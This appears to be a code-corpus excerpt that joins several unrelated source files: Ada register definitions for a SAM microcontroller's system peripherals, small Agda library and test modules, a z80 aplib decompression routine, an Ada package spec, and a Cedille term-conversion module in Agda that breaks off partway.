-- a high level for a period defined by WKUPDBC on the correspond-ing
-- wake-up input forces the wake up of the core power supply.
High)
with Size => 1;
for WUIR_WKUPT0_Field use
(Low => 0,
High => 1);
-- SUPC_WUIR_WKUPT array
type SUPC_WUIR_WKUPT_Field_Array is array (0 .. 15) of WUIR_WKUPT0_Field
with Component_Size => 1, Size => 16;
-- Type definition for SUPC_WUIR_WKUPT
type SUPC_WUIR_WKUPT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- WKUPT as a value
Val : Interfaces.SAM.UInt16;
when True =>
-- WKUPT as an array
Arr : SUPC_WUIR_WKUPT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for SUPC_WUIR_WKUPT_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Supply Controller Wake Up Inputs Register
type SUPC_WUIR_Register is record
-- Wake Up Input Enable 0
WKUPEN : SUPC_WUIR_WKUPEN_Field := (As_Array => False, Val => 16#0#);
-- Wake Up Input Type 0
WKUPT : SUPC_WUIR_WKUPT_Field := (As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SUPC_WUIR_Register use record
WKUPEN at 0 range 0 .. 15;
WKUPT at 0 range 16 .. 31;
end record;
-- WKUP Wake Up Status
type SR_WKUPS_Field is
(
-- no wake up due to the assertion of the WKUP pins has occurred since
-- the last read of SUPC_SR.
No,
-- at least one wake up due to the assertion of the WKUP pins has
-- occurred since the last read of SUPC_SR.
Present)
with Size => 1;
for SR_WKUPS_Field use
(No => 0,
Present => 1);
-- Supply Monitor Detection Wake Up Status
type SR_SMWS_Field is
(
-- no wake up due to a supply monitor detection has occurred since the
-- last read of SUPC_SR.
No,
-- at least one wake up due to a supply monitor detection has occurred
-- since the last read of SUPC_SR.
Present)
with Size => 1;
for SR_SMWS_Field use
(No => 0,
Present => 1);
-- Brownout Detector Reset Status
type SR_BODRSTS_Field is
(
-- no core brownout rising edge event has been detected since the last
-- read of the SUPC_SR.
No,
-- at least one brownout output rising edge event has been detected
-- since the last read of the SUPC_SR.
Present)
with Size => 1;
for SR_BODRSTS_Field use
(No => 0,
Present => 1);
-- Supply Monitor Reset Status
type SR_SMRSTS_Field is
(
-- no supply monitor detection has generated a core reset since the last
-- read of the SUPC_SR.
No,
-- at least one supply monitor detection has generated a core reset
-- since the last read of the SUPC_SR.
Present)
with Size => 1;
for SR_SMRSTS_Field use
(No => 0,
Present => 1);
-- Supply Monitor Status
type SR_SMS_Field is
(
-- no supply monitor detection since the last read of SUPC_SR.
No,
-- at least one supply monitor detection since the last read of SUPC_SR.
Present)
with Size => 1;
for SR_SMS_Field use
(No => 0,
Present => 1);
-- Supply Monitor Output Status
type SR_SMOS_Field is
(
-- the supply monitor detected VDDIO higher than its threshold at its
-- last measurement.
High,
-- the supply monitor detected VDDIO lower than its threshold at its
-- last measurement.
Low)
with Size => 1;
for SR_SMOS_Field use
(High => 0,
Low => 1);
-- 32-kHz Oscillator Selection Status
type SR_OSCSEL_Field is
(
-- the slow clock, SLCK is generated by the embedded 32-kHz RC
-- oscillator.
Rc,
-- the slow clock, SLCK is generated by the 32-kHz crystal oscillator.
Cryst)
with Size => 1;
for SR_OSCSEL_Field use
(Rc => 0,
Cryst => 1);
-- Low Power Debouncer Wake Up Status on WKUP0
type SR_LPDBCS0_Field is
(
-- no wake up due to the assertion of the WKUP0 pin has occurred since
-- the last read of SUPC_SR.
No,
-- at least one wake up due to the assertion of the WKUP0 pin has
-- occurred since the last read of SUPC_SR.
Present)
with Size => 1;
for SR_LPDBCS0_Field use
(No => 0,
Present => 1);
-- Low Power Debouncer Wake Up Status on WKUP1
type SR_LPDBCS1_Field is
(
-- no wake up due to the assertion of the WKUP1 pin has occurred since
-- the last read of SUPC_SR.
No,
-- at least one wake up due to the assertion of the WKUP1 pin has
-- occurred since the last read of SUPC_SR.
Present)
with Size => 1;
for SR_LPDBCS1_Field use
(No => 0,
Present => 1);
-- WKUP Input Status 0
type SR_WKUPIS0_Field is
(
-- the corresponding wake-up input is disabled, or was inactive at the
-- time the debouncer triggered a wake up event.
Dis,
-- the corresponding wake-up input was active at the time the debouncer
-- triggered a wake up event.
En)
with Size => 1;
for SR_WKUPIS0_Field use
(Dis => 0,
En => 1);
-- SUPC_SR_WKUPIS array
type SUPC_SR_WKUPIS_Field_Array is array (0 .. 15) of SR_WKUPIS0_Field
with Component_Size => 1, Size => 16;
-- Type definition for SUPC_SR_WKUPIS
type SUPC_SR_WKUPIS_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- WKUPIS as a value
Val : Interfaces.SAM.UInt16;
when True =>
-- WKUPIS as an array
Arr : SUPC_SR_WKUPIS_Field_Array;
end case;
end record
with Unchecked_Union, Size => 16;
for SUPC_SR_WKUPIS_Field use record
Val at 0 range 0 .. 15;
Arr at 0 range 0 .. 15;
end record;
-- Supply Controller Status Register
type SUPC_SR_Register is record
-- unspecified
Reserved_0_0 : Interfaces.SAM.Bit;
-- Read-only. WKUP Wake Up Status
WKUPS : SR_WKUPS_Field;
-- Read-only. Supply Monitor Detection Wake Up Status
SMWS : SR_SMWS_Field;
-- Read-only. Brownout Detector Reset Status
BODRSTS : SR_BODRSTS_Field;
-- Read-only. Supply Monitor Reset Status
SMRSTS : SR_SMRSTS_Field;
-- Read-only. Supply Monitor Status
SMS : SR_SMS_Field;
-- Read-only. Supply Monitor Output Status
SMOS : SR_SMOS_Field;
-- Read-only. 32-kHz Oscillator Selection Status
OSCSEL : SR_OSCSEL_Field;
-- unspecified
Reserved_8_12 : Interfaces.SAM.UInt5;
-- Read-only. Low Power Debouncer Wake Up Status on WKUP0
LPDBCS0 : SR_LPDBCS0_Field;
-- Read-only. Low Power Debouncer Wake Up Status on WKUP1
LPDBCS1 : SR_LPDBCS1_Field;
-- unspecified
Reserved_15_15 : Interfaces.SAM.Bit;
-- Read-only. WKUP Input Status 0
WKUPIS : SUPC_SR_WKUPIS_Field;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SUPC_SR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
WKUPS at 0 range 1 .. 1;
SMWS at 0 range 2 .. 2;
BODRSTS at 0 range 3 .. 3;
SMRSTS at 0 range 4 .. 4;
SMS at 0 range 5 .. 5;
SMOS at 0 range 6 .. 6;
OSCSEL at 0 range 7 .. 7;
Reserved_8_12 at 0 range 8 .. 12;
LPDBCS0 at 0 range 13 .. 13;
LPDBCS1 at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
WKUPIS at 0 range 16 .. 31;
end record;
subtype WDT_CR_KEY_Field is Interfaces.SAM.Byte;
-- Control Register
type WDT_CR_Register is record
-- Write-only. Watchdog Restart
WDRSTT : Boolean := False;
-- unspecified
Reserved_1_23 : Interfaces.SAM.UInt23 := 16#0#;
-- Write-only. Password
KEY : WDT_CR_KEY_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for WDT_CR_Register use record
WDRSTT at 0 range 0 .. 0;
Reserved_1_23 at 0 range 1 .. 23;
KEY at 0 range 24 .. 31;
end record;
subtype WDT_MR_WDV_Field is Interfaces.SAM.UInt12;
subtype WDT_MR_WDD_Field is Interfaces.SAM.UInt12;
-- Mode Register
type WDT_MR_Register is record
-- Watchdog Counter Value
WDV : WDT_MR_WDV_Field := 16#FFF#;
-- Watchdog Fault Interrupt Enable
WDFIEN : Boolean := False;
-- Watchdog Reset Enable
WDRSTEN : Boolean := True;
-- Watchdog Reset Processor
WDRPROC : Boolean := False;
-- Watchdog Disable
WDDIS : Boolean := False;
-- Watchdog Delta Value
WDD : WDT_MR_WDD_Field := 16#FFF#;
-- Watchdog Debug Halt
WDDBGHLT : Boolean := True;
-- Watchdog Idle Halt
WDIDLEHLT : Boolean := True;
-- unspecified
Reserved_30_31 : Interfaces.SAM.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for WDT_MR_Register use record
WDV at 0 range 0 .. 11;
WDFIEN at 0 range 12 .. 12;
WDRSTEN at 0 range 13 .. 13;
WDRPROC at 0 range 14 .. 14;
WDDIS at 0 range 15 .. 15;
WDD at 0 range 16 .. 27;
WDDBGHLT at 0 range 28 .. 28;
WDIDLEHLT at 0 range 29 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
-- Status Register
type WDT_SR_Register is record
-- Read-only. Watchdog Underflow
WDUNF : Boolean;
-- Read-only. Watchdog Error
WDERR : Boolean;
-- unspecified
Reserved_2_31 : Interfaces.SAM.UInt30;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for WDT_SR_Register use record
WDUNF at 0 range 0 .. 0;
WDERR at 0 range 1 .. 1;
Reserved_2_31 at 0 range 2 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- General Purpose Backup Register
type GPBR_Peripheral is record
-- General Purpose Backup Register
GPBR : aliased GPBR_GPBR_Registers;
end record
with Volatile;
for GPBR_Peripheral use record
GPBR at 0 range 0 .. 255;
end record;
-- General Purpose Backup Register
GPBR_Periph : aliased GPBR_Peripheral
with Import, Address => System'To_Address (16#400E1490#);
-- Reset Controller
type RSTC_Peripheral is record
-- Control Register
CR : aliased RSTC_CR_Register;
-- Status Register
SR : aliased RSTC_SR_Register;
-- Mode Register
MR : aliased RSTC_MR_Register;
end record
with Volatile;
for RSTC_Peripheral use record
CR at 16#0# range 0 .. 31;
SR at 16#4# range 0 .. 31;
MR at 16#8# range 0 .. 31;
end record;
-- Reset Controller
RSTC_Periph : aliased RSTC_Peripheral
with Import, Address => System'To_Address (16#400E1400#);
-- Real-time Clock
type RTC_Peripheral is record
-- Control Register
CR : aliased RTC_CR_Register;
-- Mode Register
MR : aliased RTC_MR_Register;
-- Time Register
TIMR : aliased RTC_TIMR_Register;
-- Calendar Register
CALR : aliased RTC_CALR_Register;
-- Time Alarm Register
TIMALR : aliased RTC_TIMALR_Register;
-- Calendar Alarm Register
CALALR : aliased RTC_CALALR_Register;
-- Status Register
SR : aliased RTC_SR_Register;
-- Status Clear Command Register
SCCR : aliased RTC_SCCR_Register;
-- Interrupt Enable Register
IER : aliased RTC_IER_Register;
-- Interrupt Disable Register
IDR : aliased RTC_IDR_Register;
-- Interrupt Mask Register
IMR : aliased RTC_IMR_Register;
-- Valid Entry Register
VER : aliased RTC_VER_Register;
end record
with Volatile;
for RTC_Peripheral use record
CR at 16#0# range 0 .. 31;
MR at 16#4# range 0 .. 31;
TIMR at 16#8# range 0 .. 31;
CALR at 16#C# range 0 .. 31;
TIMALR at 16#10# range 0 .. 31;
CALALR at 16#14# range 0 .. 31;
SR at 16#18# range 0 .. 31;
SCCR at 16#1C# range 0 .. 31;
IER at 16#20# range 0 .. 31;
IDR at 16#24# range 0 .. 31;
IMR at 16#28# range 0 .. 31;
VER at 16#2C# range 0 .. 31;
end record;
-- Real-time Clock
RTC_Periph : aliased RTC_Peripheral
with Import, Address => System'To_Address (16#400E1460#);
-- Real-time Timer
type RTT_Peripheral is record
-- Mode Register
MR : aliased RTT_MR_Register;
-- Alarm Register
AR : aliased Interfaces.SAM.UInt32;
-- Value Register
VR : aliased Interfaces.SAM.UInt32;
-- Status Register
SR : aliased RTT_SR_Register;
end record
with Volatile;
for RTT_Peripheral use record
MR at 16#0# range 0 .. 31;
AR at 16#4# range 0 .. 31;
VR at 16#8# range 0 .. 31;
SR at 16#C# range 0 .. 31;
end record;
-- Real-time Timer
RTT_Periph : aliased RTT_Peripheral
with Import, Address => System'To_Address (16#400E1430#);
-- Supply Controller
type SUPC_Peripheral is record
-- Supply Controller Control Register
CR : aliased SUPC_CR_Register;
-- Supply Controller Supply Monitor Mode Register
SMMR : aliased SUPC_SMMR_Register;
-- Supply Controller Mode Register
MR : aliased SUPC_MR_Register;
-- Supply Controller Wake Up Mode Register
WUMR : aliased SUPC_WUMR_Register;
-- Supply Controller Wake Up Inputs Register
WUIR : aliased SUPC_WUIR_Register;
-- Supply Controller Status Register
SR : aliased SUPC_SR_Register;
end record
with Volatile;
for SUPC_Peripheral use record
CR at 16#0# range 0 .. 31;
SMMR at 16#4# range 0 .. 31;
MR at 16#8# range 0 .. 31;
WUMR at 16#C# range 0 .. 31;
WUIR at 16#10# range 0 .. 31;
SR at 16#14# range 0 .. 31;
end record;
-- Supply Controller
SUPC_Periph : aliased SUPC_Peripheral
with Import, Address => System'To_Address (16#400E1410#);
-- Watchdog Timer
type WDT_Peripheral is record
-- Control Register
CR : aliased WDT_CR_Register;
-- Mode Register
MR : aliased WDT_MR_Register;
-- Status Register
SR : aliased WDT_SR_Register;
end record
with Volatile;
for WDT_Peripheral use record
CR at 16#0# range 0 .. 31;
MR at 16#4# range 0 .. 31;
SR at 16#8# range 0 .. 31;
end record;
-- Watchdog Timer
WDT_Periph : aliased WDT_Peripheral
with Import, Address => System'To_Address (16#400E1450#);
end Interfaces.SAM.SYSC;
|
test/asset/agda-stdlib-1.0/Data/List/Literals.agda | omega12345/agda-mode | 5 | 14345 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- List Literals
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List.Literals where
open import Agda.Builtin.FromString
open import Data.Unit
open import Agda.Builtin.Char
open import Agda.Builtin.List
open import Data.String.Base using (toList)
isString : IsString (List Char)
isString = record
{ Constraint = λ _ → ⊤
; fromString = λ s → toList s
}
|
libsrc/_DEVELOPMENT/compress/aplib/z80/__aplib_getgamma.asm | jpoikela/z88dk | 640 | 93927 | <reponame>jpoikela/z88dk<filename>libsrc/_DEVELOPMENT/compress/aplib/z80/__aplib_getgamma.asm
SECTION code_clib
SECTION code_compress_aplib
PUBLIC __aplib_getgamma
EXTERN __aplib_getbit, __aplib_getbitbc
__aplib_getgamma:
ld bc,1
l0:
call __aplib_getbitbc
call __aplib_getbit
jr nz, l0
ret
|
test/Fail/Issue2522.agda | shlevy/agda | 2 | 539 | <reponame>shlevy/agda
open import Agda.Builtin.Size
record R (A : Size → Set) (i : Size) : Set where
field
force : (j : Size< i) → A j
data D (A : Size → Set) (i : Size) : Set where
c : R A i → D A i
postulate
P : (A : Size → Set) → D A ∞ → D A ∞ → Set
F : (Size → Set) → Set
F A = (x : A ∞) (y : D A ∞) →
P _ (c (record { force = λ j → x })) y
-- WAS:
-- x != ∞ of type Size
-- when checking that the expression y has type D (λ _ → A ∞) ∞
-- SHOULD BE:
-- x₁ != ∞ of type Size
-- when checking that the expression y has type D (λ _ → A ∞) ∞
|
src/offmt_lib-decoding.ads | Fabien-Chouteau/offmt-tool | 0 | 916 | package Offmt_Lib.Decoding is
procedure Decode (Map_Filename : String);
-- Decode from stdin
end Offmt_Lib.Decoding;
|
src/conversion.agda | CarlOlson/cedille | 0 | 10490 | module conversion where
open import lib
open import cedille-types
open import ctxt
open import is-free
open import lift
open import rename
open import subst
open import syntax-util
open import general-util
open import erase
{- Some notes:
-- hnf{TERM} implements erasure as well as normalization.
-- hnf{TYPE} does not descend into terms.
-- definitions are assumed to be in hnf
-}
data unfolding : Set where
no-unfolding : unfolding
unfold : (unfold-all : 𝔹) {- if ff we unfold just the head -}
→ (unfold-lift : 𝔹) {- if tt we unfold lifting types -}
→ (dampen-after-head-beta : 𝔹) {- if tt we will not unfold definitions after a head beta reduction -}
→ (erase : 𝔹) -- if tt erase the term as we unfold
→ unfolding
unfolding-get-erased : unfolding → 𝔹
unfolding-get-erased no-unfolding = ff
unfolding-get-erased (unfold _ _ _ e) = e
unfolding-set-erased : unfolding → 𝔹 → unfolding
unfolding-set-erased no-unfolding e = no-unfolding
unfolding-set-erased (unfold b1 b2 b3 _) e = unfold b1 b2 b3 e
unfold-all : unfolding
unfold-all = unfold tt tt ff tt
unfold-head : unfolding
unfold-head = unfold ff tt ff tt
unfold-head-no-lift : unfolding
unfold-head-no-lift = unfold ff ff ff ff
unfold-head-one : unfolding
unfold-head-one = unfold ff tt tt tt
unfold-dampen : (after-head-beta : 𝔹) → unfolding → unfolding
unfold-dampen _ no-unfolding = no-unfolding
unfold-dampen _ (unfold tt b b' e) = unfold tt b b e -- we do not dampen unfolding when unfolding everywhere
unfold-dampen tt (unfold ff b tt e) = no-unfolding
unfold-dampen tt (unfold ff b ff e) = (unfold ff b ff e)
unfold-dampen ff _ = no-unfolding
unfolding-elab : unfolding → unfolding
unfolding-elab no-unfolding = no-unfolding
unfolding-elab (unfold b b' b'' _) = unfold b b' b'' ff
conv-t : Set → Set
conv-t T = ctxt → T → T → 𝔹
{-# TERMINATING #-}
-- main entry point
-- does not assume erased
conv-term : conv-t term
conv-type : conv-t type
conv-kind : conv-t kind
-- assume erased
conv-terme : conv-t term
conv-argse : conv-t (𝕃 term)
conv-typee : conv-t type
conv-kinde : conv-t kind
-- call hnf, then the conv-X-norm functions
conv-term' : conv-t term
conv-type' : conv-t type
hnf : {ed : exprd} → ctxt → (u : unfolding) → ⟦ ed ⟧ → (is-head : 𝔹) → ⟦ ed ⟧
-- assume head normalized inputs
conv-term-norm : conv-t term
conv-type-norm : conv-t type
conv-kind-norm : conv-t kind
hnf-optClass : ctxt → unfolding → optClass → optClass
-- hnf-tk : ctxt → unfolding → tk → tk
-- does not assume erased
conv-tk : conv-t tk
conv-liftingType : conv-t liftingType
conv-optClass : conv-t optClass
-- conv-optType : conv-t optType
conv-tty* : conv-t (𝕃 tty)
-- assume erased
conv-tke : conv-t tk
conv-liftingTypee : conv-t liftingType
conv-optClasse : conv-t optClass
-- -- conv-optTypee : conv-t optType
conv-ttye* : conv-t (𝕃 tty)
conv-ctr-ps : ctxt → var → var → maybe (𝕃 (var × type) × 𝕃 (var × type))
conv-ctr-args : conv-t (var × args)
conv-ctr : conv-t var
conv-term Γ t t' = conv-terme Γ (erase t) (erase t')
conv-terme Γ t t' with decompose-apps t | decompose-apps t'
conv-terme Γ t t' | Var _ x , args | Var _ x' , args' =
ctxt-eq-rep Γ x x' && conv-argse Γ (erase-args args) (erase-args args')
|| conv-ctr-args Γ (x , args) (x' , args')
|| conv-term' Γ t t'
conv-terme Γ t t' | _ | _ = conv-term' Γ t t'
conv-argse Γ [] [] = tt
conv-argse Γ (a :: args) (a' :: args') = conv-terme Γ a a' && conv-argse Γ args args'
conv-argse Γ _ _ = ff
conv-type Γ t t' = conv-typee Γ (erase t) (erase t')
conv-typee Γ t t' with decompose-tpapps t | decompose-tpapps t'
conv-typee Γ t t' | TpVar _ x , args | TpVar _ x' , args' =
ctxt-eq-rep Γ x x' && conv-tty* Γ args args'
|| conv-type' Γ t t'
conv-typee Γ t t' | _ | _ = conv-type' Γ t t'
conv-kind Γ k k' = conv-kinde Γ (erase k) (erase k')
conv-kinde Γ k k' = conv-kind-norm Γ (hnf Γ unfold-head k tt) (hnf Γ unfold-head k' tt)
conv-term' Γ t t' = conv-term-norm Γ (hnf Γ unfold-head t tt) (hnf Γ unfold-head t' tt)
conv-type' Γ t t' = conv-type-norm Γ (hnf Γ unfold-head t tt) (hnf Γ unfold-head t' tt)
-- is-head is only used in hnf{TYPE}
hnf{TERM} Γ no-unfolding e hd = erase-term e
hnf{TERM} Γ u (Parens _ t _) hd = hnf Γ u t hd
hnf{TERM} Γ u (App t1 Erased t2) hd = hnf Γ u t1 hd
hnf{TERM} Γ u (App t1 NotErased t2) hd with hnf Γ u t1 hd
hnf{TERM} Γ u (App _ NotErased t2) hd | Lam _ _ _ x _ t1 = hnf Γ (unfold-dampen tt u) (subst Γ t2 x t1) hd
hnf{TERM} Γ u (App _ NotErased t2) hd | t1 = App t1 NotErased (hnf Γ (unfold-dampen ff u) t2 ff)
hnf{TERM} Γ u (Lam _ Erased _ _ _ t) hd = hnf Γ u t hd
hnf{TERM} Γ u (Lam _ NotErased _ x oc t) hd with hnf (ctxt-var-decl x Γ) u t hd
hnf{TERM} Γ u (Lam _ NotErased _ x oc t) hd | (App t' NotErased (Var _ x')) with x =string x' && ~ (is-free-in skip-erased x t')
hnf{TERM} Γ u (Lam _ NotErased _ x oc t) hd | (App t' NotErased (Var _ x')) | tt = t' -- eta-contraction
hnf{TERM} Γ u (Lam _ NotErased _ x oc t) hd | (App t' NotErased (Var _ x')) | ff =
Lam posinfo-gen NotErased posinfo-gen x NoClass (App t' NotErased (Var posinfo-gen x'))
hnf{TERM} Γ u (Lam _ NotErased _ x oc t) hd | t' = Lam posinfo-gen NotErased posinfo-gen x NoClass t'
hnf{TERM} Γ u (Let _ ff (DefTerm _ x _ t) t') hd = hnf Γ u (subst Γ t x t') hd
hnf{TERM} Γ u (Let _ tt (DefTerm _ x _ t) t') hd = hnf Γ u t' hd
hnf{TERM} Γ u (Let _ fe (DefType _ x _ _) t') hd = hnf (ctxt-var-decl x Γ) u t' hd
hnf{TERM} Γ (unfold _ _ _ _) (Var _ x) hd with ctxt-lookup-term-var-def Γ x
hnf{TERM} Γ (unfold _ _ _ _) (Var _ x) hd | nothing = Var posinfo-gen x
hnf{TERM} Γ (unfold ff _ _ e) (Var _ x) hd | just t = erase-if e t -- definitions should be stored in hnf
hnf{TERM} Γ (unfold tt b b' e) (Var _ x) hd | just t = hnf Γ (unfold tt b b' e) t hd -- this might not be fully normalized, only head-normalized
hnf{TERM} Γ u (AppTp t tp) hd = hnf Γ u t hd
hnf{TERM} Γ u (Sigma _ t) hd = hnf Γ u t hd
hnf{TERM} Γ u (Epsilon _ _ _ t) hd = hnf Γ u t hd
hnf{TERM} Γ u (IotaPair _ t1 t2 _ _) hd = hnf Γ u t1 hd
hnf{TERM} Γ u (IotaProj t _ _) hd = hnf Γ u t hd
hnf{TERM} Γ u (Phi _ eq t₁ t₂ _) hd = hnf Γ u t₂ hd
hnf{TERM} Γ u (Rho _ _ _ t _ t') hd = hnf Γ u t' hd
hnf{TERM} Γ u (Chi _ T t') hd = hnf Γ u t' hd
hnf{TERM} Γ u (Delta _ T t') hd = id-term
hnf{TERM} Γ u (Theta _ u' t ls) hd = hnf Γ u (lterms-to-term u' t ls) hd
hnf{TERM} Γ u (Beta _ _ (SomeTerm t _)) hd = hnf Γ u t hd
hnf{TERM} Γ u (Beta _ _ NoTerm) hd = id-term
hnf{TERM} Γ u (Open _ _ _ _ t) hd = hnf Γ u t hd
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd with decompose-apps (hnf Γ u t hd)
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | tₕ , as with Mu' pi-gen NoTerm (recompose-apps as tₕ) NoType pi-gen (map (λ {(Case _ x as' t) → Case pi-gen x as' (hnf (foldr (λ {(CaseTermArg _ NotErased x) → ctxt-var-decl x; _ → id}) Γ as') (unfold-dampen ff u) t hd)}) (erase-cases cs)) pi-gen | tₕ
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | _ , as | tₒ | Var _ x with foldl (λ {(Case _ xₘ cas tₘ) m? → m? maybe-or (conv-ctr-ps Γ xₘ x ≫=maybe uncurry λ psₘ ps → just (caseArgs-to-lams cas tₘ , length (erase-caseArgs cas) , length ps))}) nothing (erase-cases cs)
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | _ , as | tₒ | Var _ x | just (tₓ , nas , nps) with drop nps (erase-args as)
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | _ , as | tₒ | Var _ x | just (tₓ , nas , nps) | as' with nas =ℕ length as'
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | _ , as | tₒ | Var _ x | just (tₓ , nas , nps) | as' | tt = hnf Γ (unfold-dampen tt u) (recompose-apps (map (TermArg NotErased) as') tₓ) hd
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | _ , as | tₒ | Var _ x | just (tₓ , nas , nps) | as' | ff = tₒ
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | _ , as | tₒ | Var _ x | nothing = tₒ
hnf{TERM} Γ u (Mu' _ _ t _ _ cs _) hd | _ , as | tₒ | _ = tₒ
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd with decompose-apps (hnf Γ u t hd)
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as with (λ t → Mu pi-gen pi-gen x t NoType pi-gen (map (λ {(Case _ x as' t) → Case pi-gen x as' (hnf (foldr (λ {(CaseTermArg _ NotErased x) → ctxt-var-decl x; _ → id}) Γ as') (unfold-dampen ff u) t hd)}) (erase-cases cs)) pi-gen) | tₕ
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as | tₒ | Var _ x' with foldl (λ {(Case _ xₘ cas tₘ) m? → m? maybe-or (conv-ctr-ps Γ xₘ x' ≫=maybe uncurry λ psₘ ps → just (caseArgs-to-lams cas tₘ , length (erase-caseArgs cas) , length ps))}) nothing (erase-cases cs) | fresh-var "x" (ctxt-binds-var Γ) empty-renamectxt
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as | tₒ | Var _ x' | just (tₓ , nas , nps) | fₓ with drop nps (erase-args as)
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as | tₒ | Var _ x' | just (tₓ , nas , nps) | fₓ | as' with nas =ℕ length as'
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as | tₒ | Var _ x' | just (tₓ , nas , nps) | fₓ | as' | tt = hnf Γ (unfold-dampen tt u) (recompose-apps (map (TermArg NotErased) as') (subst Γ (mlam fₓ $ tₒ $ mvar fₓ) x tₓ)) hd
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as | tₒ | Var _ x' | just (tₓ , nas , nps) | fₓ | as' | ff = tₒ $ recompose-apps (map (TermArg NotErased) as') tₕ
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as | tₒ | Var _ x' | nothing | fₓ = tₒ $ recompose-apps as tₕ
hnf{TERM} Γ u (Mu _ _ x t _ _ cs _) hd | tₕ , as | tₒ | _ = tₒ $ recompose-apps as tₕ
hnf{TERM} Γ u x hd = x
hnf{TYPE} Γ no-unfolding e _ = e
hnf{TYPE} Γ u (TpParens _ t _) hd = hnf Γ u t hd
hnf{TYPE} Γ u (NoSpans t _) hd = hnf Γ u t hd
hnf{TYPE} Γ (unfold ff b' _ _) (TpVar _ x) ff = TpVar posinfo-gen x
hnf{TYPE} Γ (unfold b b' _ _) (TpVar _ x) _ with ctxt-lookup-type-var-def Γ x
hnf{TYPE} Γ (unfold b b' _ _) (TpVar _ x) _ | just tp = tp
hnf{TYPE} Γ (unfold b b' _ _) (TpVar _ x) _ | nothing = TpVar posinfo-gen x
hnf{TYPE} Γ u (TpAppt tp t) hd with hnf Γ u tp hd
hnf{TYPE} Γ u (TpAppt _ t) hd | TpLambda _ _ x _ tp = hnf Γ u (subst Γ t x tp) hd
hnf{TYPE} Γ u (TpAppt _ t) hd | tp = TpAppt tp (erase-if (unfolding-get-erased u) t)
hnf{TYPE} Γ u (TpApp tp tp') hd with hnf Γ u tp hd
hnf{TYPE} Γ u (TpApp _ tp') hd | TpLambda _ _ x _ tp = hnf Γ u (subst Γ tp' x tp) hd
hnf{TYPE} Γ u (TpApp _ tp') hd | tp with hnf Γ u tp' hd
hnf{TYPE} Γ u (TpApp _ _) hd | tp | tp' = try-pull-lift-types tp tp'
{- given (T1 T2), with T1 and T2 types, see if we can pull a lifting operation from the heads of T1 and T2 to
surround the entire application. If not, just return (T1 T2). -}
where try-pull-lift-types : type → type → type
try-pull-lift-types tp1 tp2 with decompose-tpapps tp1 | decompose-tpapps (hnf Γ u tp2 tt)
try-pull-lift-types tp1 tp2 | Lft _ _ X t l , args1 | Lft _ _ X' t' l' , args2 =
if conv-tty* Γ args1 args2 then
try-pull-term-in Γ t l (length args1) [] []
else
TpApp tp1 tp2
where try-pull-term-in : ctxt → term → liftingType → ℕ → 𝕃 var → 𝕃 liftingType → type
try-pull-term-in Γ t (LiftParens _ l _) n vars ltps = try-pull-term-in Γ t l n vars ltps
try-pull-term-in Γ t (LiftArrow _ l) 0 vars ltps =
recompose-tpapps args1
(Lft posinfo-gen posinfo-gen X
(Lam* vars (hnf Γ no-unfolding (App t NotErased (App* t' (map (λ v → NotErased , mvar v) vars))) tt))
(LiftArrow* ltps l))
try-pull-term-in Γ (Lam _ _ _ x _ t) (LiftArrow l1 l2) (suc n) vars ltps =
try-pull-term-in (ctxt-var-decl x Γ) t l2 n (x :: vars) (l1 :: ltps)
try-pull-term-in Γ t (LiftArrow l1 l2) (suc n) vars ltps =
let x = fresh-var "x" (ctxt-binds-var Γ) empty-renamectxt in
try-pull-term-in (ctxt-var-decl x Γ) (App t NotErased (mvar x)) l2 n (x :: vars) (l1 :: ltps)
try-pull-term-in Γ t l n vars ltps = TpApp tp1 tp2
try-pull-lift-types tp1 tp2 | _ | _ = TpApp tp1 tp2
hnf{TYPE} Γ u@(unfold all? _ _ _) (Abs _ b _ x atk tp) _
with Abs posinfo-gen b posinfo-gen x (hnf Γ u atk ff) (hnf (ctxt-var-decl x Γ) u tp ff)
hnf{TYPE} Γ u (Abs _ b _ x atk tp) _ | tp' with to-abs tp'
hnf{TYPE} Γ u (Abs _ _ _ _ _ _) _ | tp'' | just (mk-abs b x atk tt {- x is free in tp -} tp) = Abs posinfo-gen b posinfo-gen x atk tp
hnf{TYPE} Γ u (Abs _ _ _ _ _ _) _ | tp'' | just (mk-abs b x (Tkk k) ff tp) = Abs posinfo-gen b posinfo-gen x (Tkk k) tp
hnf{TYPE} Γ u (Abs _ _ _ _ _ _) _ | tp'' | just (mk-abs b x (Tkt tp') ff tp) = TpArrow tp' b tp
